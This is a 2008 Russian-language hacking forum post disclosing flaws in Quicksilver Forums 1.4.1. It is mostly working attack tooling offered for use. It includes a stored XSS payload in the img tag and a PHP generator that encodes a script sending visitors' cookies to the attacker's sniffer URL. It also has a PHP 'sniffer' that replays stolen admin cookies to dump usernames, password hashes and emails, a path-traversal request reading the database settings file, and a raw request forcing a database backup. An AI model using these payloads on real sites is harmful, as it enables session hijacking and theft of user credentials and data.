Форумы Quicksilver Forums 1.4.1 Active XSS + Functional sniffer, File Read Vulns

Discussion in 'Уязвимости CMS/форумов' started by _kREveDKo_2, 19 Jul 2008.

  1. _kREveDKo_2

    _kREveDKo_2 Member

    Joined:
    13 Jun 2007
    Messages:
    0
    Likes Received:
    7
    Reputations:
    1
    Вобщем в форуме в bb-тегах есть простейшая активная XSS - в теге картинок. Выгялдит так:
    Code:
    [img*]javascript:alert()[/img*]
    (без звёздочек)

    В админке есть бэкапер базы + менеджер для создания запросов к базе. Т.о. можно сделать либо бэкап всех юзеров форума, либо же подать запрос, который выведет всех этих юзеров (мэйлы, хеши, в общем все данные).

    Поэтому я для удобства решил накатать функциональны сниффер, который бы делал запрос на выборку всех пользователей и их данных. Запрос на создание бэкапа делать не стал, ибо это всё-таки палевнее.

    Также для удобства написал генератор активок (подставляет в уязвимость адрес к вашему снифферу и шифрует его).

    Итак, вот генератор активок:
    PHP:
    <?php
    /*--------------------------------------------------------------------*\
                      Quicksilver Forums Active XSS Generator
                  Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
    \*--------------------------------------------------------------------*/
    ?>

    <title>Quicksilver Forums Active XSS Generator</title>
    <body>
    <form action="" method=POST>

    <br><div align=center><font face='tahoma' size=4>Quicksilver Forums Active XSS Generator</font>
    <br><font face='tahoma' size=2>&copy; n3v3rh00d (www.antichat.ru)<br><p>

    <input type=text name=sniffer value='http://' style='width: 400px'>
    <br><input type=submit value='Введите ссылку на сниффер и жмякайте сюда' name=submit style='width:400px'>
    </font>

    <?php

    if(isset($_POST['sniffer']) && !empty($_POST['submit']) && strlen($_POST['sniffer']) > 9)
    {
        for(
    $x=0$x !== strlen($_POST['sniffer']); $x++)
            {
                if(
    $x+== strlen($_POST['sniffer'])) $kopilka .= ord($_POST['sniffer'][$x]);
                else 
    $kopilka .= ord($_POST['sniffer'][$x]).',';
            }
    echo 
    '<br><br><textarea style="width:400px; height:150px;">
    [img]javascript:eval(String.fromCharCode(105,109,103,61,110,101,119,32,73,109,97,103,101,40,41,59,105,109,103,46,115,114,99,61,34,'
    .$kopilka.',63,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));[/img]</textarea>';
    }
    ?>
    </div></form>
    А вот функциональный сниффер с запросом к БД. В настройках нужно указать хост и пусть к атакуемому форуму:
    PHP:
    <?php
    /*--------------------------------------------------------------------*\
                      Quicksilver Forums Functional Sniffer
                  Coded: n3v3rh00d / 19.07.08 / www.antichat.ru
    \*--------------------------------------------------------------------*/

    $hostname    'localhost'# Хост
    $forum_path '/e_quick/'# Путь к форуму

    if(strlen($_SERVER["QUERY_STRING"])>10)
    {
        
    $packet 
            
    "POST ".$forum_path."admincp/index.php?a=query HTTP/1.1\r\n".
            
    "Referer: http://".$hostname.$forum_path."admincp/index.php?a=query\r\n".
            
    "Content-Type: application/x-www-form-urlencoded\r\n".
            
    "User-Agent: Mozilla/4.9 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
            
    "Host: ".$hostname."\r\n".
            
    "Content-Length: 92\r\n".
            
    "Cookie: ".$_SERVER["QUERY_STRING"]."\r\n\r\n".
            
    "sql=SELECT+user_name%2C+user_password%2C+user_email%2C+user_icq+FROM+qsf_users&submit=Submit\r\n\r\n";

        
    $socket fsockopen($hostname80$errn$errd10);
        
            if(
    $socket)
            {
            
    fwrite($socket$packet);
            
    $fp=fopen('database_dump_'.date('d.m.y').'.html','w');
                if(
    $fp)
                {
                    while(!
    feof($socket))
                    {
                    
    fwrite($fp,fgets($socket,1024));
                    }
                }
            
    fclose($fp);
            }
        
        
    fclose($socket);
    }
    ?>
    Также в админке есть баг с просмотром любого файла. Вот гетовый запрос, который позволяет просмотреть файл настроек к БД форума:
    Code:
    /admincp/index.php?a=templates&s=edit_css&skin=default&file=../../settings.php
    При необходимости можно без труда переписать пакет в функционалке, чтобы он делал запрос на чтение файла.

    Так же может вам покажется удобным именно бэкап форума из админки, а не запрос к БД. В таком случае вот пакет, делающий дамп (по умолчанию в папку /packages/ корня форума):
    Code:
    POST /admincp/index.php?a=backup&s=create HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
    Referer: http://localhost/admincp/index.php?a=backup&s=create
    Accept-Language: ru
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
    Host: localhost
    Content-Length: 34
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: PHPSESSID=9f454a4d2256f22abac78b4276081b22; qsf_lastallread=1216405235; qsf_user=2; qsf_pass=21232f297a57a5a743894a0e4a801fc3
    
    insert=1&droptable=1&submit=Backup
    
    Генератор и функциональный сниффер одним файлом: http://webfile.ru/2101089
     
    3 people like this.